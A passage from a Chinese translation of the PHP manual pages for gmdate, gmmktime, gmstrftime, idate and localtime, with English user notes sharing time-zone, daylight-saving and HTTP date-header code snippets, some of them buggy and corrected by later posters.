return $GMTDateTime;
}
eddie[dot_here]bishop@gmail[dot_here]com
10-Nov-2005 04:36
In response to ncofreNOSPAMPLEASE at step2u dot com,

Your international time is all well and good, but you left out a VERY important piece of the code you provided.

Change the second to last line from
   echo gmdate("H:i");
to
   echo gmdate("H:i", $city_time);

Nice example, though, thanks!
rob at geek dot co dot nz
08-Nov-2005 04:06
It's worth noting the distinction between gmgate() and date() with regards to day light savings time. If your server uses universal time and makes an adjustment by locale for daylight savings time, you will want to use date(). gmdate will display the non-adjuisted time.
paul at sysnyx dot com
23-Sep-2005 04:16
Gives user the ability to use their timezone preferences.
I had to create this script for a very large community. I first made any posts to the database that would display the date using just time();

Example: mysql_query("INSERT INTO `table` (`datetime`) VALUES ('".time()."')");

Also, for their timezone preference, I had the values as (example):
(Eastern Timezone) -5 hours
(Newfoundland) -3 hours -30 minutes

This information would be saved in the users table.
To display the date and time in their respective timezone preference:

function datetime($datetime,$zone){
if(date('I')):$datetime+=60*60;endif;
return gmdate('m-d-Y - h:i:sa',strtotime($zone,$datetime));
}

$datetime would be the information pulled from the database from a post for news, forums, etcetera (remember, the inserted table data for the time was using time();)
$zone would be the information pulled from the database from the users timezone preference.

I also used cookies to store their timezone:
$sth=mysql_query("SELECT `datetime` FROM `table` LIMIT 1");
$row=mysql_fetch_assoc($sth);
echo datetime($row['datetime'],$_COOKIE['timezone']);

Remember to set the 'm-d-Y - h:i:sa' to how you wish the time to display. Visit the manual about date().
ncofreNOSPAMPLEASE at step2u dot com
20-May-2005 07:21
Want to put different International Times in your web?

First create a database including the GMT and the DST (find it f.i. at timeanddate.com). Be careful, because there are several different DST dates and options.

Once you have your function which calculates the GMT hour difference (it can be a decimal!!), sum it to the Unix Time (remember that unix time is GMT, not local: f.i. gmdate("U")===date("U)).

Don't forget to recalculate the GMT difference to seconds before it.

Then format your date using gmdate() (not date()!) and... you've got your International Time!

<?php

$city["Name"] = "Barcelona";
$city["GMT"] = 1.0;
$city["actualDST"] = 1.0; //Because it's summer time

$gmt_diff = $city["GMT"]+$city["actualDST"]; //your functions for getting the hour difference betweer the city and the GMT
$city_time = time()+($gmt_diff*3600); //sum the timestamps
echo gmdate("H:i"); //echo the formatted date
echo " h. in the beautiful city of ".$city["Name"];

?>
chrisjj at despammed dot com
08-Oct-2004 02:33
This doc is faulty, saying:

> Identical to the date() function except that the time
> returned is Greenwich Mean Time (GMT).

where the date() function says

> T    Timezone setting of this machine

gmdate('T') does NOT return the Timezone setting of the machine. Instead it returns the machine's description of GMT, which may or may not be "GMT"
Kogik inc dot -- info at kogik dot com
09-Jul-2004 05:35
Wath out for summer time and winter time...

If you want to get the current date and time based on GMT you could use this :

$timezone  = -5; //(GMT -5:00) EST (U.S. & Canada)
echo gmdate("Y/m/j H:i:s", time() + 3600*($timezone+date("I")));

this would gives: 2004/07/8 14:35:19 in summer time
and 2004/07/8 13:35:19 in winter time.

Note that date("I") returns 1 in summer and 0 in winter.
webmaster at rwhiphop dot com
26-May-2004 01:18
$zone=3600*2//SPAIN
$date=gmdate("D M Y H:i", time() + $zone);
www.l-serwis.wpt.pl
14-Nov-2003 05:51
If you want to get time in your timezone try this:

$zone=3600*0 //GMT
$zone=3600*1 //CET
$zone=3600*-5//USA
$date=gmdate("D M Y H:i", time() + $zone);
09-Sep-2002 12:26
Do not use the "T" timezone specifier to generate "GMT", as this may return "UTC" or "GMT+0000" or "Z" or something else which depends on the running platform, which would not be RFC1123 compliant.

Use 'D, d M Y H:i:s \G\M\T' which forces the value of the timezone indicator.

Note that RFC1123 requires the use of ENGLISH day and month abbreviations. They MUST NOT be localized!

An example of the RFC1123 format for full dates is:
Sun, 06 Nov 1994 08:49:37 GMT

Note the presence of the leading 0 (RFC1123 dates have a fixed size, and space padding is prohibited because it causes problems with fixed size handling when such dates are used in HTTP headers that may compress whitespaces.

Some proxies accept also the ISO 8601 format, but this is not documented in HTTP/1.1 specs (RFC2616).

Examples:
header('Date: '.gmdate('D, d M Y H:i:s \G\M\T', time()));
header('Last-Modified: '.gmdate('D, d M Y H:i:s \G\M\T', time()));
header('Expires: '.gmdate('D, d M Y H:i:s \G\M\T', time() + 3600));

or if you prefer double quotes and don't want to bother with double backslashes:
header("Date: ".gmdate("D, d M Y H:i:s", time())." GMT");
header("Last-Modified: ".gmdate("D, d M Y H:i:s", time())." GMT");;
header("Expires: ".gmdate("D, d M Y H:i:s", time() + 3600)." GMT");
15-Jun-2002 11:09
For an RFC 1123 (HTTP header date) date, try:

$rfc_1123_date = gmdate('D, d M Y H:i:s T', time());
add a note add a note

后退 | 起点 | 前进
gettimeofday | 上一级 | gmmktime


gmmktime

(PHP 3, PHP 4, PHP 5)

gmmktime -- 取得 GMT 日期的 UNIX 时间戳

说明

int gmmktime ( [int hour [, int minute [, int second [, int month [, int day [, int year [, int is_dst]]]]]]] )

和 mktime() 完全一样，只除了返回值是格林威治标准时的时间戳。

参数总是表示 GMT 日期，因此 is_dst 对结果没有影响。

和 mktime() 一样，参数可以从右到左依次空着，空着的参数会被设为相应的当前 GMT 值。

注: 自 5.1.0 起，is_dst 参数被废弃。因此应该用新的时区处理特性。

注: gmmktime() 内部使用了 mktime()，因此只有转换成本地时间也合法的时间才能用在其中。 so only times valid in derived local time can be used.

例子 1. gmmktime() 在 Windows 中的边界

<?php
gmmktime(0, 0, 0, 1, 1, 1970); // 在 GMT 和西方合法，在东方不合法
?>

参见 mktime()，date() 和 time()。

add a note add a note User Contributed Notes
francois at bonzon dot com
22-Dec-2005 04:34
In response to mirko at example dot com is_est function, to be exact, the two lines defining $begin_time and $end_time should read:

<?php

$begin_time = gmmktime(1, 0, 0, 3, $begin_date, $Y);
$end_time = gmmktime(1, 0, 0, 10, $end_date, $Y);

?>

Because the clocks go forward, resp. back at 01.00 UTC, not at midnight.
mirko at example dot com
31-Oct-2005 08:33
<?php

/**
 * Check if given time is during Europen Summer Time
 *
 * @link http://en.wikipedia.org/wiki/European_Summer_Time
 * @param int $time UTC timestamp (GMT)
 * @return boolean true if it is EST else false
 */
function is_est($time)
{
   // get year
   $Y = gmdate("Y", $time);

   // calc start / end dates and time for that year
   $begin_date = (31 - (5*$Y/4 + 4) % 7);
   $end_date = (31 - (5*$Y/4 + 1) % 7);
   $begin_time = gmmktime(0,0,0,  3,$begin_date,$Y);
   $end_time = gmmktime(0,0,0,  10,$end_date,$Y);

   // if it's in that period
   $is_dst = $time >= $begin_time && $time < $end_time;
   return $is_dst;
}

?>
ranjeet at magnet-i dot com
16-Sep-2005 08:52
<?php
function getTimeRemaining($timeZonePass,
$dateTimeUser,$ID,$table,$coloumnName)
{
global $configVars;

$timeZoneDefault=explode("_",$timeZonePass);

$timeZone=(substr($timeZoneDefault[0],1))*(60) ;

if((substr($timeZoneDefault[0],0,1)) =="+")
   $defaultSeconds=gmdate("Y-m-d-H-i-s",time()+
   $timeZone);
elseif((substr($timeZoneDefault[0],0,1)) =="-")
   $defaultSeconds=gmdate("Y-m-d-H-i-s",time()-
   $timeZone);
else
   $defaultSeconds=gmdate("Y-m-d-H-i-s",time());

$defaultSecondsExp=explode("-",$defaultSeconds);

$defaultGmktime=gmmktime($defaultSecondsExp[3],
           $defaultSecondsExp[4],
$defaultSecondsExp[5], $defaultSecondsExp[1],
           $defaultSecondsExp[2],
$defaultSecondsExp[0]);

$dateArray=explode("-",$dateTimeUser);

$slectedGmktime=gmmktime(23,59,59,$dateArray[1],
           $dateArray[2],$dateArray[0]);

if((substr($timeZoneDefault[0],0,1)) =="+")
   $slectedGmktimeAdded=($slectedGmktime)+
                       ($timeZone);
elseif((substr($timeZoneDefault[0],0,1)) =="-")
   $slectedGmktimeAdded=($slectedGmktime)+
                       ($timeZone);
else
   $slectedGmktimeAdded=($slectedGmktime);

//$slectedGmDate=gmdate("Y-m-d-H-i-s",
           $slectedGmktimeAdded);

$timeMinus=$slectedGmktimeAdded -
       $defaultGmktime;

$secondsInDay= 60*60*24;

if ($secondsInDay <= $timeMinus)
{
   $daysRemaining = floor($timeMinus/
                   $secondsInDay);
   if($daysRemaining >1 )
       return $daysRemaining ."&nbsp;Days&nbsp;";
   else
       return $daysRemaining ."&nbsp;Day&nbsp;";
}

if(empty($daysRemaining))
{
   $secondsInHour= 60*60;
   if ($secondsInHour <= $timeMinus)
   {
       $hoursRemaining =floor ($timeMinus/
                       $secondsInHour);
       if($hoursRemaining > 1 )
           return $hoursRemaining ."&nbsp;Hours&nbsp;";
       else
           return $hoursRemaining ."&nbsp;Hour&nbsp;";
   }
}

if(empty($hoursRemaining))
{
   //$secondsRemaining = $timeMinus. "&nbsp;Seconds";
   $secondsInMinute = 60;
   if ($secondsInMinute <= $timeMinus)
   {
       $mintuesRemaining =floor ($timeMinus/
               $secondsInMinute);
       if($mintuesRemaining > 1 )
           return $mintuesRemaining ."&nbsp;Minutes&nbsp;";
       else
           return $mintuesRemaining ."&nbsp;Minute&nbsp;";
   }
}

if(empty($mintuesRemaining))
{
   $secondsRemaining = $timeMinus;
   if($secondsRemaining < 0)
   {
       timedOutSale($ID,$table,$coloumnName);
       return "Time out";
   }
   elseif($secondsRemaining > 1 )
       return $secondsRemaining . "&nbsp;Seconds";
   else
       return $secondsRemaining . "&nbsp;Second";
}
}

function timedOutSale($ID,$table)
{
   GLOBAL $configVars, $db,$tableNames;
   $query =  "UPDATE " . $table
                   . " SET status = 'T'
                   WHERE $coloumnName = '" . $ID ."'";

           $result = $db->query($query);
   return;
}

?>
16-Sep-2005 12:02
function getTimeRemaining($timeZonePass,
$dateTimeUser,$ID,$table,$coloumnName)
{
global $configVars;

$timeZoneDefault=explode("_",$timeZonePass);

$timeZone=(substr($timeZoneDefault[0],1))*(60) ;

if((substr($timeZoneDefault[0],0,1)) =="+")
   $defaultSeconds=gmdate("Y-m-d-H-i-s",time()+
   $timeZone);
elseif((substr($timeZoneDefault[0],0,1)) =="-")
   $defaultSeconds=gmdate("Y-m-d-H-i-s",time()-
   $timeZone);
else
   $defaultSeconds=gmdate("Y-m-d-H-i-s",time());

$defaultSecondsExp=explode("-",$defaultSeconds);

$defaultGmktime=gmmktime($defaultSecondsExp[3],
           $defaultSecondsExp[4],
$defaultSecondsExp[5], $defaultSecondsExp[1],
           $defaultSecondsExp[2],
$defaultSecondsExp[0]);

$dateArray=explode("-",$dateTimeUser);

$slectedGmktime=gmmktime(23,59,59,$dateArray[1],
           $dateArray[2],$dateArray[0]);

if((substr($timeZoneDefault[0],0,1)) =="+")
   $slectedGmktimeAdded=($slectedGmktime)+
                       ($timeZone);
elseif((substr($timeZoneDefault[0],0,1)) =="-")
   $slectedGmktimeAdded=($slectedGmktime)+
                       ($timeZone);
else
   $slectedGmktimeAdded=($slectedGmktime);

//$slectedGmDate=gmdate("Y-m-d-H-i-s",
           $slectedGmktimeAdded);

$timeMinus=$slectedGmktimeAdded -
       $defaultGmktime;

$secondsInDay= 60*60*24;

if ($secondsInDay <= $timeMinus)
{
   $daysRemaining = floor($timeMinus/
                   $secondsInDay);
   if($daysRemaining >1 )
       return $daysRemaining ."&nbsp;Days&nbsp;";
   else
       return $daysRemaining ."&nbsp;Day&nbsp;";
}

if(empty($daysRemaining))
{
   $secondsInHour= 60*60;
   if ($secondsInHour <= $timeMinus)
   {
       $hoursRemaining =floor ($timeMinus/
                       $secondsInHour);
       if($hoursRemaining > 1 )
           return $hoursRemaining ."&nbsp;Hours&nbsp;";
       else
           return $hoursRemaining ."&nbsp;Hour&nbsp;";
   }
}

if(empty($hoursRemaining))
{
   //$secondsRemaining = $timeMinus. "&nbsp;Seconds";
   $secondsInMinute = 60;
   if ($secondsInMinute <= $timeMinus)
   {
       $mintuesRemaining =floor ($timeMinus/
               $secondsInMinute);
       if($mintuesRemaining > 1 )
           return $mintuesRemaining ."&nbsp;Minutes&nbsp;";
       else
           return $mintuesRemaining ."&nbsp;Minute&nbsp;";
   }
}

if(empty($mintuesRemaining))
{
   $secondsRemaining = $timeMinus;
   if($secondsRemaining < 0)
   {
       timedOutSale($ID,$table,$coloumnName);
       return "Time out";
   }
   elseif($secondsRemaining > 1 )
       return $secondsRemaining . "&nbsp;Seconds";
   else
       return $secondsRemaining . "&nbsp;Second";
}
}

function timedOutSale($ID,$table)
{
   GLOBAL $configVars, $db,$tableNames;
   $query =  "UPDATE " . $table
                   . " SET status = 'T'
                   WHERE $coloumnName = '" . $ID ."'";

           $result = $db->query($query);
   return;
}
jbr (AT) ya-right.com
14-Feb-2005 02:04
I have seen many different hacked versions of this function for people using Windows that want to support dates before Jan 1, 1970. Here is yet another one that is different than others you may have seen! It does not use loops like all the others I have seen!

<?

// usage...

echo win_gmmktime ( 12, 43, 16, 07, 23, 1946 );

function win_gmmktime ( $hour, $minute, $second, $month, $day, $year )
{
   if ( $year > 1969 )
   {
       return ( gmmktime ( $hour, $minute, $second, $month, $day, $year ) );
   }

   $t = 0;
   $ds = 86400;
   $hs = 3600;
   $dy = 365;
   $ms = 60;

   $months = array ( 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31 );
   $leap_year = $year % 4 == 0 && ( $year % 100 > 0 || $year % 400 == 0 ) ? true : false;

   if ( $year < 1969 )
   {
       $y = 1969 - $year;
       $t -= ( $y * $dy ) * $ds;
       $x = ceil ( $y / 4 );

       if ( $leap_year && $month > 2 )
       {
           $x -= 1;
       }

       $t -= $x * $ds;
   }

   if ( $month != 12 )
   {
       $tm = $months;
       $tm = array_slice ( $tm, $month );
       $t -= array_sum ( $tm ) * $ds;
       unset ( $tm );
   }

   $nh = ( ( $month == 2 && $leap_year ? 29 : $months[$month-1] ) - $day );
   $t -= $nh != 0 ? $nh * $ds : 0;
   $nh = 23 - $hour;
   $t -= $nh != 0 ? $nh * $hs : 0;
   $nh = 59 - $minute;
   $t -= $nh != 0 ? $nh * $ms : 0;
   $nh = 59 - $second;
   $t -= $nh != 0 ? $nh + 1 : 0;

   return ( $t );
}

?>
welch at advomatic dot com
03-Feb-2005 04:48
Here is a handy routine for counting down to the minute, hour, and day to a timestamp

     $minutesleft = floor(($timestamp - gmtime()) / 60);

     if ($minutesleft < 0) {
       $timeleft = 'NOW';
     }
     else if ($minutesleft < 60) {
       $timeleft = ($minutesleft==1 ? '1 minute' : $minutesleft.' minutes');
     }
     else if ($minutesleft >= 60 && $minutesleft < (24*60)) {
       $timeleft = (floor($minutesleft/60) == 1 ? '1 hour' : floor($minutesleft/60).' hours');
     }
     else if ($minutesleft >= (24*60)) {
       $days = floor($minutesleft / (24*60));
       // hours remainder
       $hours = ($minutesleft % (24*60)) / 60;
       // hours left in the day
       $hours_left = ((time() / 60) % (24*60)) / 60;
       // see if the remainder of hours is greater than the hours left in today, if so increase the days by one so that the days remaining mimics the date rather than how many 24 hour periods there are between now and then.
       if($hours > $hours_left) {
         $days++;
       }
       $timeleft = ($days == 1 ? '1 day' : $days.' days');
     }

     echo $timeleft;
imoore76 at yahoo dot com
16-Jan-2005 05:16
Why not just do:

<?php

// assuming $start and $end are timestamps

$day_diff = floor(abs($start - $end) / 86400);

?>
justin at booleangate dot org
05-Jan-2005 04:10
Here's a play on turgut85's countDays function.  I've found it to be more efficient and it accepts unix timestamps rather than arrays.  Thanks for the ideas.

function count_days($start, $end) {
  // Count the days between $start and $end where both $start and $end
  //  are UNIX timestamps

  // Swap the two values if end is greater than start (to avoid the
  //  loop of death).
  if ($start < $end) {
   $t = $start;
   $start = $end;
   $end = $t;
  }

  // Increment the start time by one day until it is equal to the
  //  end time

  $days = 0;
  while ( $start < $end ) {
   $start = strtotime("+1 days", $start);
   $days++;
  }

  return $days;
}
turgut85 at hotmail dot com
07-Dec-2004 12:53
<?php

// THIS ROUTINE COUNT DAYS BEETWEEN TWO DATE //
// BEGIN DATE COULD BE IN THE PAST OR IN THE FUTURE //

$beg['YEAR']=2004;
$beg['MONTH']=10;
$beg['DAY']=1;

$end['YEAR']=2004;
$end['MONTH']=10;
$end['DAY']=3;

function countDays ($beg,$end) {

$start = gmmktime(0,0,0,$beg['MONTH'],$beg['DAY'],$beg['YEAR']);
$endin = gmmktime(0,0,0,$end['MONTH'],$end['DAY'],$end['YEAR']);

// echo $start."\n";
// echo $endin."\n";

$day = 0;

if ($start < $endin) {
$toward = 1;
} else  {
$toward = 0;
}

$mover = $start;

if ($start != $endin) {

do {

$day++;

   if ($toward)  {
   $mover = gmmktime(0,0,0,$beg['MONTH'],($beg['DAY']+$day),$beg['YEAR']);
   } else {
   $mover = gmmktime(0,0,0,$beg['MONTH'],($beg['DAY']-$day),$beg['YEAR']);
   }

} while ($mover != $endin);

}

echo $day;

return $day;
}

echo countDays ($beg,$end). " days. ";

?>

Turgut Z. YESILYURT
turgut85@hotmail.com
System and Application Developer
New Jersey, USA
mwwaygoo AT hotmail DOT com
23-Nov-2004 01:36
REF: http://www.dti.gov.uk/er/sumtimetb.htm

Since 1981 EC Directives have prescribed the start and end dates of summer time in all Member States.  There have to date been eight Directives which have set summer-time arrangements for fixed periods. The Summer Time Act 1972 sets the appropriate dates in the UK and summer-time orders have been made as necessary to implement the European Directives. The 9th EC Directive prescribes the start and end dates of summer time as the last Sundays in March and October respectively. These dates are in line with those already operating in the United Kingdom. The 9th Directive provides that these start and end dates should apply indefinitely.
---
9th EC Directive - 19 January 2001

Article 1
For the purposes of this Directive "summer-time period" shall mean the period of the year during which clocks are put forward by 60 minutes compared with the rest of the year.

Article 2
From 2002 onwards, the summer-time period shall begin, in every Member State, at 1.00 a.m., Greenwich Mean Time, on the last Sunday in March.

Article 3
From 2002 onwards, the summer-time period shall end, in every Member State, at 1.00 a.m., Greenwich Mean Time, on the last Sunday in October.

You stand corrected ;-)  (well up until 2007 anyway)
Andy
19-Oct-2004 10:00
mwwaygoo's code isn't quite right. My understanding is that the relevant dates for changing between daylight saving time in the UK is the third sunday of march and october - not the last sunday!
mwwaygoo AT hotmail DOT com
13-Sep-2004 06:51
I had a problem with hosting a UK site on a US server, the times didnt match (obviously) and also didnt account for daylight savings time. The daylight savings dates and times of change differ worldwide, so detecting if the server was in dst wouldnt work (see http://webexhibits.org/daylightsaving/).

Here is a function for creating a timestamp which can be used by date() to create all the parameters required to display the local time (site not server). I have used GMT time to create the timestamp as there is no offset for UK time (+00).

<?php
function UKdst_time()
{
   // created by Matthew Waygood (www.waygoodstuff.co.uk)
   $timestamp = mktime(gmdate("H, i, s, m, d, Y")); // UTC time
   $this_year=gmdate("Y", $timestamp);

   // last sunday in march at 1am UTC
   $last_day_of_march=gmmktime(1,0,0,3,31,$this_year);
   $last_sunday_of_march=strtotime("-".gmdate("w", $last_day_of_march)." day", $last_day_of_march);

   // last sunday in october at 1am UTC
   $last_day_of_october=gmmktime(1,0,0,10,31,$this_year);
   $last_sunday_of_october=strtotime("-".gmdate("w", $last_day_of_october)." day", $last_day_of_october);

   if( ($timestamp > $last_sunday_of_march) && ($timestamp < $last_sunday_of_october) )
   {
       $timestamp=$timestamp+3600; // foward one hour
   }
   return $timestamp;
}
?>
francois at bonzon dot com
18-Jun-2004 01:02
A simpler way to get a GMT date into a UNIX timestamp is to use the strtotime() function.

<?php

// Prints: 1076705142
$gmstr = 'Fri, 13 Feb 2004 20:45:42 GMT';
echo strtotime($gmstr);

?>
Dave
30-Mar-2004 01:35
There appears to be a discrepency between PHP and C timestamps.  The C time() and gettimeofday() functions are documented to return based on UTC time, but the value obtained doesn't match the PHP gmmktime() function.  Instead, it matches the PHP mktime() function, which is supposed to be local time.

It seems that C always uses a UTC timestamp and adjusts to local time through different handling functions (gmtime() vs localtime()).  PHP appears to use differing UTC/local timestamps, but single handling functions.

The exception to this rule is the PHP time() function, which appears to behave in the same was as the C version.

In short, if your PHP is working with timestamps created in C (or vice versa) make sure you are comparing apples to apples.
zhong311 at collegeclub dot com
14-Feb-2004 07:40
When attempting to use HTTP's If-Modified-Since features for caching I ran into the problem of being able to compare the GMT date the browser was sending to my own Last-Modified date (stored in a database field). I saw many examples of how to create a GMT date from a unix timestamp, but little on how to actually get a GMT date into a unix timestamp. Perhaps someone has a better way, here's my solution:

<?php

function gmstrtotime($sgm) {
   $months = array(
     'Jan'=>1,
     'Feb'=>2,
     'Mar'=>3,
     'Apr'=>4,
     'May'=>5,
     'Jun'=>6,
     'Jul'=>7,
     'Aug'=>8,
     'Sep'=>9,
     'Oct'=>10,
     'Nov'=>11,
     'Dec'=>12
   );
   list($D, $d, $M, $Y, $H, $i, $s) = sscanf($sgm, "%3s, %2d %3s %4d %2d:%2d:%2d GMT");
   return gmmktime($H, $i, $s, $months[$M], $d, $Y);
}

// test: after all is said and done
// $time should be the same as $gmtime

$time = time();
$us = date("m/d/Y H:i:s",$time);
$sgm = gmdate("D, d M Y H:i:s",$time) . " GMT";

$gmtime = gmstrtotime($sgm);

echo $us . "<BR>";
echo $sgm . "<BR>";
echo $time . "<BR>";
echo $gmtime . "<BR>";

?>

My results:

02/13/2004 10:45:42
Fri, 13 Feb 2004 20:45:42 GMT
1076705142
1076705142

Credit to kyle at frozenonline dot com for his strtotime example
add a note add a note

后退 | 起点 | 前进
gmdate | 上一级 | gmstrftime


gmstrftime

(PHP 3 >= 3.0.12, PHP 4, PHP 5)

gmstrftime -- 根据区域设置格式化 GMT/UTC 时间／日期

说明

string gmstrftime ( string format [, int timestamp] )

和 strftime() 的行为相同，只除了返回时间是格林威治标准时（GMT）。例如，当在东部标准时（EST，GMT -500）运行时，下面第一行显示“Dec 31 1998 20:00:00”，而第二行显示“Jan 01 1999 01:00:00”。

例子 1. gmstrftime() 例子

<?php
setlocale(LC_TIME, 'en_US');
echo strftime("%b %d %Y %H:%M:%S", mktime (20,0,0,12,31,98))."\n";
echo gmstrftime("%b %d %Y %H:%M:%S", mktime (20,0,0,12,31,98))."\n";
?>

参见 strftime()。

add a note add a note User Contributed Notes
pvdster at hotmail dot com
22-Mar-2005 11:50
If you want the dutch time on your pages and you are hosted on a server in the USA you can easily change it this way:

setlocale(LC_TIME, 'nl_NL');
$tgl= gmstrftime("%d %B %Y - %H:%M uur",time()+3600);

Then use $tgl to display the right time.
Note the +3600 is a day light savings time correction.
The result: 22 maart 2005 - 16:39 uur

First I used the normal date function and this was the previous result: March 22, 2005 - 04:28 AM

I needed it for a dutch guestbook.

I'm new to PHP and it took me a while to find it out and maybe it's of no use for experienced PHP programmers but I thought people can always ignore my post :)
peter dot albertsson at spray dot se
05-Feb-2005 11:27
gmstrftime() should not be used to generate a RFC 850 date for use in HTTP headers, since its output is affected by setlocale().

Use gmdate instead:

gmdate('D, d M Y H:i:s') . ' GMT';
yellow dot snow at huskies dot com
11-Oct-2004 12:15
HTTP 1.1 (RFC 2068) requires an RFC 1123 date with a four digit year, so the correct format to use for a Last-modified header would look something like this:

<?php
header("Last-modified: " .
gmstrftime("%a, %d %b %Y %T %Z",getlastmod()));
?>
neo at gothic-chat d0t de
25-Jun-2004 02:27
To get a RFC 850 date (used in HTTP) of the current time:

gmstrftime ("%A %d-%b-%y %T %Z", time ());

This will get for example:
Friday 25-Jun-04 03:30:23 GMT

Please note that times in HTTP-headers _must_ be GMT, so use gmstrftime() instead of strftime().
add a note add a note

后退 | 起点 | 前进
gmmktime | 上一级 | idate


idate

(PHP 5)

idate -- 将本地时间日期格式化为整数

说明

int idate ( string format [, int timestamp] )

根据给定的格式字符对 timestamp 格式化并返回数字结果。timestamp 为可选项，默认值为本地当前时间，即 time() 的值。

和 date() 不同，idate() 只接受一个字符作为 format 参数。

表格 1. format 参数可识别以下字符

format 字符 | 说明
B | Swatch Beat/Internet Time
d | 月份中的第几天
h | 小时（12 小时格式）
H | 小时（24 小时格式）
i | 分钟
I | 如果启用夏时制则返回 1，否则返回 0
L | 如果是闰年则返回 1，否则返回 0
m | 月份的数字
s | 秒数
t | 本月的总天数
U | 自 Unix 纪元（January 1 1970 00:00:00 GMT）起的秒数――这和 time() 作用相同
w | 星期中的第几天（星期天是 0）
W | ISO-8601 格式年份中的第几个星期，每星期从星期一开始
y | 年份（1 或 2 位数字――见下面说明）
Y | 年份（4 位数字）
z | 年份中的第几天
Z | 以秒为单位的时区偏移量

注: 因为 idate() 总是返回 integer，不能以“0”开头，因此 idate() 可能会返回比用户期望中要少的数字。见下面例子：

<?php
$timestamp = strtotime('1st January 2004'); //1072915200

// 下面以两位数字格式显示年份，但是因为
// 以“0”打头，因此只会显示“4”
echo idate('y', $timestamp);
?>

参见 date() 和 time()。

add a note add a note User Contributed Notes
qjoe dot sb at gmail dot com
08-Jun-2005 02:21
To clarify an ambiguity due to the fount: 'I' is a capital i, rather than a miniscule L.
add a note add a note

后退 | 起点 | 前进
gmstrftime | 上一级 | localtime


localtime

(PHP 4, PHP 5)

localtime -- 取得本地时间

说明

array localtime ( [int timestamp [, bool is_associative]] )

localtime() 函数返回一个数组，其结构和 C 函数调用返回的完全一样。localtime() 的第一个参数是时间戳，如果没有给出则使用从 time() 返回的当前时间。第二个参数是 is_associative，如果设为 FALSE 或未提供则返回的是普通的数字索引数组。如果该参数设为 TRUE 则 localtime() 函数返回包含有所有从 C 的 localtime 函数调用所返回的不同单元的关联数组。关联数组中不同的键名为：

  • "tm_sec" - 秒数

  • "tm_min" - 分钟数

  • "tm_hour" - 小时

  • "tm_mday" - 月份中的第几日

  • "tm_mon" - 年份中的第几个月，从 0 开始表示一月

  • "tm_year" - 年份，从 1900 开始

  • "tm_wday" - 星期中的第几天

  • "tm_yday" - 一年中的第几天

  • "tm_isdst" - 夏令时当前是否生效

注: 月份从 0（一月）到 11（十二月），星期数从 0（星期天）到 6（星期六）。

例子 1. time() 例子

<?php
$localtime = localtime();
$localtime_assoc = localtime(time(), true);
print_r($localtime);
print_r($localtime_assoc);
?>

上例的输出类似于：

Array
(
    [0] => 24
    [1] => 3
    [2] => 19
    [3] => 3
    [4] => 3
    [5] => 105
    [6] => 0
    [7] => 92
    [9] => 1
)

Array
(
    [tm_sec] => 24
    [tm_min] => 3
    [tm_hour] => 19
    [tm_mday] => 3
    [tm_mon] => 3
    [tm_year] => 105
    [tm_wday] => 0
    [tm_yday] => 92
    [tm_isdst] => 1
)

add a note add a note User Contributed Notes
matt (at) roughest [d0t] net
27-Oct-2004 01:49
Be careful with the "tm_isdst" element. It may be incorrect for certain localities where daylight savings time is not observed (for example most of Saskatchewan in Canada).
tony at speedscript dot com
25-Feb-2004 02:35
Date select box for the current week, or whatever week you give for an offset (in seconds), returns the string you can echo with the select box named $name:

function week_date_selectbox( $time_offset, $name )
   {
   if( isset( $time_offset ) )
       $t = time() + $time_offset;
   else
       $t = time();

   $wday = array("Sun ","Mon ","Tue ","Wed ","Thu ","Fri ","Sat ");
   $mon = array("Jan ","Feb ","Mar ","Apr ","May ","Jun ","Jul ","Aug ","Sep ","Oct ","Nov ","Dec ");
   $mybox = "<select name=\"$name\">\n";
   for($ii = 0; $ii > -6; $ii--)
       {
       $tarr = localtime( $t + $ii * 86400, 1 );
       if( $tarr["tm_wday"] == 0 )
           {
           // found Sunday, now make the week's strings
           for($jj = 0; $jj < 7; $jj++)
               {
               $tarr = localtime( $t + ($jj + $ii) * 86400, 1 );
               $mybox .= sprintf( " <option value=\"%04d-%02d-%02d\">%s%s%d %d</option>\n",
                       ((int)$tarr["tm_year"] + 1900),
                       $tarr["tm_mon"],
                       ((int)$tarr["tm_mday"] + 1),
                       $wday[$tarr["tm_wday"]],
                       $mon[$tarr["tm_mon"]],
                       (int)$tarr["tm_mday"],
                       ((int)$tarr["tm_year"] + 1900) );
               }
           break;
           }
       }
   $mybox .= "</select>\n";

   return $mybox;
   }
tomm174RemoveThis at hotmail dot com
01-May-2003 02:55
For useful notes on converting between local time *at the browser* see
http://martin.f2o.org/php/localtime
!!emiliop!! AT nospam dot dorial dot com
20-Feb-2003 04:12
To calculate the delta between the local time and UTC:

function tzdelta ( $iTime = 0 )
{
   if ( 0 == $iTime ) { $iTime = time(); }
   $ar = localtime ( $iTime );
   $ar[5] += 1900; $ar[4]++;
   $iTztime = gmmktime ( $ar[2], $ar[1], $ar[0],
       $ar[4], $ar[3], $ar[5], $ar[8] );
   return ( $iTztime - $iTime );
}

So if your system is in DST, tzdelta should return -18000 (five hours less).
arch at archtech dot yi dot org
10-Dec-2002 05:25
You can implement gmtime quote simply.

function GetTZOffset() {
  $Offset = date("O", 0);

  $Parity = $Offset < 0 ? -1 : 1;
  $Offset = $Parity * $Offset;
  $Offset = ($Offset - ($Offset % 100))/100*60 + $Offset % 100;

  return $Parity * $Offset;
}

$TZOffset = GetTZOffset();

$t_time = time()-$TZOffset*60; #Counter adjust for localtime()
$t_arr = localtime($t_time);
static
03-Jun-2002 10:57
Be VERY CAREFUL with the return of this function if you intend to feed it straight back into mktime(). localtime() returns months as 0 to 11, but mktime uses months as 1 to 12. The resulting off-by-one errors can be ... unpleasant.

You Have Been Warned.

Wade.
jausions-N at SPAM-hotmail dot com
26-Apr-2002 03:42
I strongly suggest to do all of your developments using GMT/UTC dates & times.

I provide here a version of a 'gmttime' function. Save it in a separate file and include it when needed.

Please post a correction here if you find it not working for your timezone (with or without daylight saving time.).

Thanks & Enjoy.
-----------------------------------------------

//
// File: gmttime.in-p
//
// Description:
//    Implements the gmttime function if missing from the PHP distribution
//

// Verifies that the function isn't already implemented
if (function_exists(gmttime))
   return;

//
// Function: gmttime
//
// Description:
//  Returns an array indexed as by the localtime() function:
//  - 0 or tm_sec: Seconds
//  - 1 or tm_min: Minutes
//  - 2 or tm_hour: Hour
//  - 3 or tm_mday: Day of the month
//  - 4 or tm_mon: Month of the year
//  - 5 or tm_year: Years since 1900
//  - 6 or tm_wday: Day of the week
//  - 7 or tm_yday: Day of the year
//  - 8 or tm_isdst: Is daylight saving time in effect
//  - tm_fyear: Full year (only available with associative array)
//
// Arguments:
//  - Timestamp
